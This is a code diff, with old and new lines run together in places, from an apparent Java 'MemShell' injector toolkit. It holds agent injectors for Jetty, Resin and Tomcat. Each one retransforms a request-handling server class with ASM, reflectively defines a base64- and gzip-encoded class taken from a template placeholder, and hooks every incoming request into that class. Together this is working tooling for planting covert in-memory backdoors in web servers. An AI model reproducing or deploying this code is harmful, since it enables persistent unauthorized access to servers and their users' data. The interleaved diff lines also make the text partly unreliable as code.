import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/28 * @since 2025/3/26
*/ */
public class JettyHandlerAgentInjector implements AgentBuilder.Transformer { public class JettyHandlerAgentInjector implements ClassFileTransformer {
private static final List<String> TARGET_CLASSES = Arrays.asList(
"org/eclipse/jetty/servlet/ServletHandler",
"org/eclipse/jetty/ee8/servlet/ServletHandler",
"org/eclipse/jetty/ee9/servlet/ServletHandler",
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
"org/mortbay/jetty/servlet/ServletHandler"
);
private static String targetClassName = "";
private static String targetMethodName = "doHandle";
static Class<?> interceptorClass = null; public static String getClassName() {
return "{{advisorName}}";
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
} }
@Override public static String getBase64String() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, return "{{base64String}}";
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doHandle")));
} }
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +42,256 @@ public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
launch(inst); launch(inst);
} }
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception { private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting"); System.out.println("MemShell Agent is starting");
new AgentBuilder.Default() inst.addTransformer(new JettyHandlerAgentInjector(), true);
.ignore(ElementMatchers.none()) for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
.disableClassFormatChanges() String name = allLoadedClass.getName();
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION) for (String targetClass : TARGET_CLASSES) {
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) if (targetClass.replace("/", ".").equals(name)) {
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) targetClassName = name;
.type(named("org.eclipse.jetty.servlet.ServletHandler")) if (targetClassName.contains("mortbay")) {
.transform(new JettyHandlerAgentInjector()) targetMethodName = "handle";
.installOn(inst); }
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle"); if (targetClassName.contains("ee10")) {
targetMethodName = "doFilter";
}
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName);
}
}
}
} }
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASSES.contains(className)) {
if (className.contains("mortbay")) {
targetMethodName = "handle";
}
if (className.contains("ee10")) {
targetMethodName = "doFilter";
}
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (targetMethodName.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
Type argumentType = argumentTypes[i];
mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
boxPrimitive(mv, argumentType);
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private void boxPrimitive(MethodVisitor mv, Type type) {
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
return; // Already an object
}
String owner;
String descriptor;
switch (type.getSort()) {
case Type.BOOLEAN:
owner = "java/lang/Boolean";
descriptor = "(Z)Ljava/lang/Boolean;";
break;
case Type.CHAR:
owner = "java/lang/Character";
descriptor = "(C)Ljava/lang/Character;";
break;
case Type.BYTE:
owner = "java/lang/Byte";
descriptor = "(B)Ljava/lang/Byte;";
break;
case Type.SHORT:
owner = "java/lang/Short";
descriptor = "(S)Ljava/lang/Short;";
break;
case Type.INT:
owner = "java/lang/Integer";
descriptor = "(I)Ljava/lang/Integer;";
break;
case Type.FLOAT:
owner = "java/lang/Float";
descriptor = "(F)Ljava/lang/Float;";
break;
case Type.LONG:
owner = "java/lang/Long";
descriptor = "(J)Ljava/lang/Long;";
break;
case Type.DOUBLE:
owner = "java/lang/Double";
descriptor = "(D)Ljava/lang/Double;";
break;
default:
// Should not happen for primitive types
return;
}
mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.jetty;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class JettyHandlerAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler";
private static final String TARGET_METHOD_NAME = "doHandle";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public JettyHandlerAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new JettyHandlerAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.resin; package com.reajason.javaweb.memshell.injector.resin;
import net.bytebuddy.agent.builder.AgentBuilder; import org.objectweb.asm.*;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/28 * @since 2025/3/26
*/ */
public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer { public class ResinFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Class<?> interceptorClass = null; public static String getClassName() {
return "{{advisorName}}";
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
} }
@Override public static String getBase64String() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, return "{{base64String}}";
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
} }
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,20 +33,191 @@ public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer {
launch(inst); launch(inst);
} }
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception { private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting"); System.out.println("MemShell Agent is starting");
new AgentBuilder.Default() inst.addTransformer(new ResinFilterChainAgentInjector(), true);
.ignore(ElementMatchers.none()) for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION) String name = allLoadedClass.getName();
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) if (TARGET_CLASS.replace("/", ".").equals(name)) {
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) inst.retransformClasses(allLoadedClass);
.type(named("com.caucho.server.dispatch.FilterFilterChain")) }
.transform(new ResinFilterChainAgentInjector()) }
.installOn(inst);
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter"); System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
} }
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.resin;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public ResinFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new ResinFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.tomcat; package com.reajason.javaweb.memshell.injector.tomcat;
import net.bytebuddy.agent.builder.AgentBuilder; import org.objectweb.asm.*;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/28 * @since 2025/3/26
*/ */
public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer { public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Class<?> interceptorClass = null; public static String getClassName() {
return "{{advisorName}}";
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
} }
@Override public static String getBase64String() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, return "{{base64String}}";
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
} }
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +33,192 @@ public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer
launch(inst); launch(inst);
} }
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception { private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting"); System.out.println("MemShell Agent is starting");
new AgentBuilder.Default() inst.addTransformer(new TomcatContextValveAgentInjector(), true);
.ignore(ElementMatchers.none()) for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
.disableClassFormatChanges() String name = allLoadedClass.getName();
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION) if (TARGET_CLASS.replace("/", ".").equals(name)) {
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) inst.retransformClasses(allLoadedClass);
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
.type(named("org.apache.catalina.core.StandardContextValve")) }
.transform(new TomcatContextValveAgentInjector()) }
.installOn(inst);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
} }
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,98 +0,0 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
